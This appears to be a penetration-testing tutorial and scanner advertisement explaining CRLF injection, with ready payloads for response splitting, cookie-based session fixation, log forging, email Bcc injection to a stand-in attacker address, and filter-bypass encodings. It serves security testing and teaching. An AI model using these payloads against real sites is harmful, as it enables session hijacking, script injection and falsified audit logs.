CRLF Injection Testing: HTTP Response Splitting, Log Injection, and Cookie Injection
CRLF stands for Carriage Return Line Feed — the \r\n byte sequence that HTTP uses to separate headers from each other and headers from the body. When user-controlled input containing these characters reaches a context where HTTP headers or logs are being constructed, an attacker can inject arbitrary content. The consequences range from HTTP response splitting (enabling XSS and cache poisoning) to cookie injection, header injection, and log falsification.
Modern web frameworks and HTTP servers have mostly sanitized CRLF at the protocol level, but the vulnerability persists in redirect endpoints, cookie-setting code, custom logging, email headers, and older or misconfigured stacks. It remains a consistent find in bug bounty programs and penetration tests.
How CRLF Injection Works
HTTP/1.1 uses \r\n to delimit headers. The response structure is:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Set-Cookie: session=abc123\r\n
\r\n
<html>...</html>
If user input is reflected into a header value without sanitization, an attacker can terminate the current header and inject new ones. For example, if the application reflects a url parameter into a Location header for a redirect:
# Normal request
GET /redirect?url=https://example.com
# Response
HTTP/1.1 302 Found
Location: https://example.com
# Injection attempt
GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20malicious=injected
# Response
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: malicious=injected
The attacker has injected a Set-Cookie header into the victim's response. They can extend this to inject arbitrary headers, script tags, or split the response entirely to serve attacker-controlled content.
Encoding Variants
The CRLF sequence can be encoded in multiple ways that bypass naive filtering. Test all variants:
| Encoding | Payload | Notes |
|---|---|---|
| URL encoded | %0d%0a |
Most common; standard percent-encoding |
| Double URL encoded | %250d%250a |
Bypasses single-pass URL decoding filters |
| Unicode encoded | %u000d%u000a |
IIS-specific Unicode encoding |
| CR only | %0d |
Some parsers treat CR alone as a line terminator |
| LF only | %0a |
Unix-style terminator accepted by many HTTP parsers |
| Mixed case | %0D%0A |
Case variation for case-sensitive filters |
Finding Injection Points
Redirect parameters
Redirect endpoints are the highest-yield source of CRLF injection. Any parameter that appears in a Location header is a candidate:
# Common redirect parameters to test
?url=
?redirect=
?redirect_to=
?return=
?return_url=
?next=
?target=
?continue=
?goto=
?destination=
# Test payload — inject Set-Cookie header
?url=https://example.com%0d%0aSet-Cookie:%20crlf=injected
Cookie-setting endpoints
When user input is used to set cookie values without sanitization, CRLF injection can inject additional headers or split the response:
# Cookie value injection
POST /set-language
lang=en%0d%0aSet-Cookie:%20admin=true
# If the server constructs:
# Set-Cookie: language=en
# And reflects the input:
# Set-Cookie: language=en\r\nSet-Cookie: admin=true
Custom header reflection
Applications that reflect client-supplied values into custom response headers are vulnerable. Test any endpoint that echoes back a request header or parameter into a response header:
# X-Custom-Header injection
GET /api/data
X-Request-Id: trace123%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
# If the server reflects X-Request-Id into the response:
# X-Request-Id: trace123
# Content-Type: text/html
#
# <script>alert(1)</script>
HTTP Response Splitting
HTTP response splitting is the most severe consequence of CRLF injection. By injecting two consecutive CRLF sequences, an attacker can terminate the current response headers and body, then inject a complete second HTTP response. This enables:
- Cross-site scripting via cache poisoning — If an intermediate cache stores the attacker-controlled "second response," subsequent users who request the same URL receive the malicious content.
- Cross-user defacement — Serving attacker-controlled HTML to other users through a shared cache.
- Bypassing security controls — Injecting a response that lacks security headers (CSP, HSTS, X-Frame-Options).
# HTTP response splitting payload
GET /redirect?url=https://legitimate.com%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(document.cookie)%3C/script%3E
# Injected result:
HTTP/1.1 302 Found
Location: https://legitimate.com
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(document.cookie)</script>
Note on modern HTTP/2: HTTP/2 uses binary framing rather than CRLF-delimited headers, making traditional HTTP response splitting impossible at the protocol level. However, H2 downgrades to H1.1 at proxy boundaries, and applications may still use CRLF in log files, cookies, and email headers regardless of the transport protocol.
Cookie Injection via CRLF
Even without full response splitting, CRLF injection in redirect parameters can inject arbitrary Set-Cookie headers. Consequences:
- Session fixation — Inject a known session token as the session cookie, then authenticate with the same token to hijack the victim's session.
- CSRF token injection — Overwrite the victim's CSRF token with a known value, enabling CSRF attacks even with CSRF protection.
- Cookie flag bypass — Inject a cookie without the
HttpOnlyorSecureflags, making it accessible to JavaScript or transmittable over HTTP.
# Session fixation via CRLF cookie injection
# Attacker sends victim a link to:
/login?redirect=dashboard%0d%0aSet-Cookie:%20session=attacker_known_value;%20Path=/
# After the victim logs in via this link, their session cookie
# is set to attacker_known_value — which the attacker already knows.
# Attacker uses that value to access the victim's authenticated session.
Log Injection
Log injection is the server-side consequence of CRLF injection in logging pipelines. When user input is logged without sanitization, an attacker can inject fake log entries that:
- Falsify audit trails (e.g., inject fake successful login events)
- Hide malicious activity (inject log entries that look like normal traffic around the attack)
- Poison log analysis tools or SIEM parsers
- Inject malicious content that triggers log viewer XSS (if logs are displayed in a web UI)
# Example log injection via username field
POST /login
username=admin%0a2026-01-01%2000:00:00%20INFO%20Successful%20login%20for%20admin&password=wrongpassword
# Server log before injection:
2026-06-27 12:34:56 WARN Failed login attempt for username: admin
# Server log after injection:
2026-06-27 12:34:56 WARN Failed login attempt for username: admin
2026-01-01 00:00:00 INFO Successful login for admin
Testing log injection
Log injection is harder to test directly because you typically don't have read access to server logs during a black-box assessment. Instead:
- Identify fields that are likely logged: username, email, user-agent, IP address, URL parameters.
- Inject CRLF sequences followed by log-format-looking content.
- Note whether any behavior changes (error responses, timing differences) that might indicate the injection was processed.
- In gray-box assessments, check application logs directly for the injected content.
- Check whether log viewer UIs are accessible and whether they render injected content.
Email Header Injection
If user-supplied input (name, subject, email address) is incorporated into outgoing email headers without sanitization, CRLF injection can add new headers to the email, enabling:
- BCC injection to copy emails to attacker-controlled addresses
- Subject line manipulation
- SMTP command injection (in older email libraries)
# Email header injection via contact form name field
name=Attacker%0d%0aBcc:%20attacker@evil.com&email=attacker@example.com&message=test
# Resulting email headers:
From: contact-form@target.com
To: support@target.com
Reply-To: attacker@example.com
Name: Attacker
Bcc: attacker@evil.com
Test the name, email, and subject fields of all contact forms, registration flows, and any feature that sends outgoing emails using user-supplied content in headers.
Testing with Burp Suite
Manual testing approach
- Identify parameters that appear in response headers (use Burp Proxy — look at the Response tab for reflected values).
- Test each with the basic payload:
%0d%0aInjected-Header:%20test - Check the response headers for the injected header.
- Try encoding variants if the basic payload is filtered.
- For cookie injection, test:
%0d%0aSet-Cookie:%20crlf=injected - For response splitting, test:
%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0a
Automated testing
Burp Scanner detects CRLF injection as part of its active scan. Nikto and nuclei also include CRLF injection checks. For comprehensive coverage, combine automated scanning with manual testing of redirect parameters and cookie-setting endpoints, which are the most common CRLF injection locations.
Bypass Techniques
When basic CRLF payloads are blocked, try these bypass approaches:
- Double URL encoding —
%250d%250aif the server decodes URLs twice - Unicode normalization — Some characters normalize to CR or LF after Unicode processing
- Whitespace alternatives — Tab (
%09) is valid as header field separator in some contexts - Header folding — Injecting whitespace before a continuation line (deprecated but still parsed by some stacks)
- Null byte injection —
%00%0d%0asometimes bypasses string-termination-based filters
What Ironimo Catches
Ironimo's scanner tests all redirect parameters and header-reflecting endpoints with a comprehensive CRLF injection payload set, including all common encoding variants. Cookie-setting endpoints are tested for cookie injection via CRLF. Contact forms and registration flows are tested for email header injection. The scanner checks both response headers and body for evidence of successful injection, and reports findings with the full injected response demonstrating the impact.
CRLF Injection Testing Checklist
- Identify redirect parameters — Any parameter that appears in a
Locationheader:url,redirect,next,return,goto, etc. - Test basic CRLF in redirect — Append
%0d%0aInjected-Header:%20testto redirect parameter values. - Test all encoding variants — Try
%0d%0a,%250d%250a,%0a,%0d,%u000d%u000a. - Test cookie injection — Use
%0d%0aSet-Cookie:%20crlf=injectedin redirect and URL parameters. - Test response splitting — Use double CRLF (
%0d%0a%0d%0a) followed by a fake HTTP response status line. - Check custom header reflection — Identify any response headers that reflect request parameters or headers. Test those parameters for CRLF injection.
- Test cookie value CRLF — If cookie values are user-controlled and reflected, test for CRLF injection in cookie-setting code.
- Test email header injection — In contact forms, registration, and any email-generating feature, inject CRLF into name, subject, and email fields.
- Test log injection — In gray-box tests, inject CRLF followed by fake log entries into logged fields (username, user-agent, search terms).
- Test URL path injection — Inject CRLF into URL path segments that are reflected in the response.
- Verify with evidence — For each finding, capture the full HTTP response showing the injected header or content.
- Assess impact — Determine whether response splitting, cookie injection, or log injection is achievable and escalate severity accordingly.
Find injection vulnerabilities your scanner misses
Ironimo tests CRLF injection across all encoding variants and attack surfaces — redirect endpoints, cookie headers, email fields, and custom header reflection — with the depth of a professional pentester.
Start free scan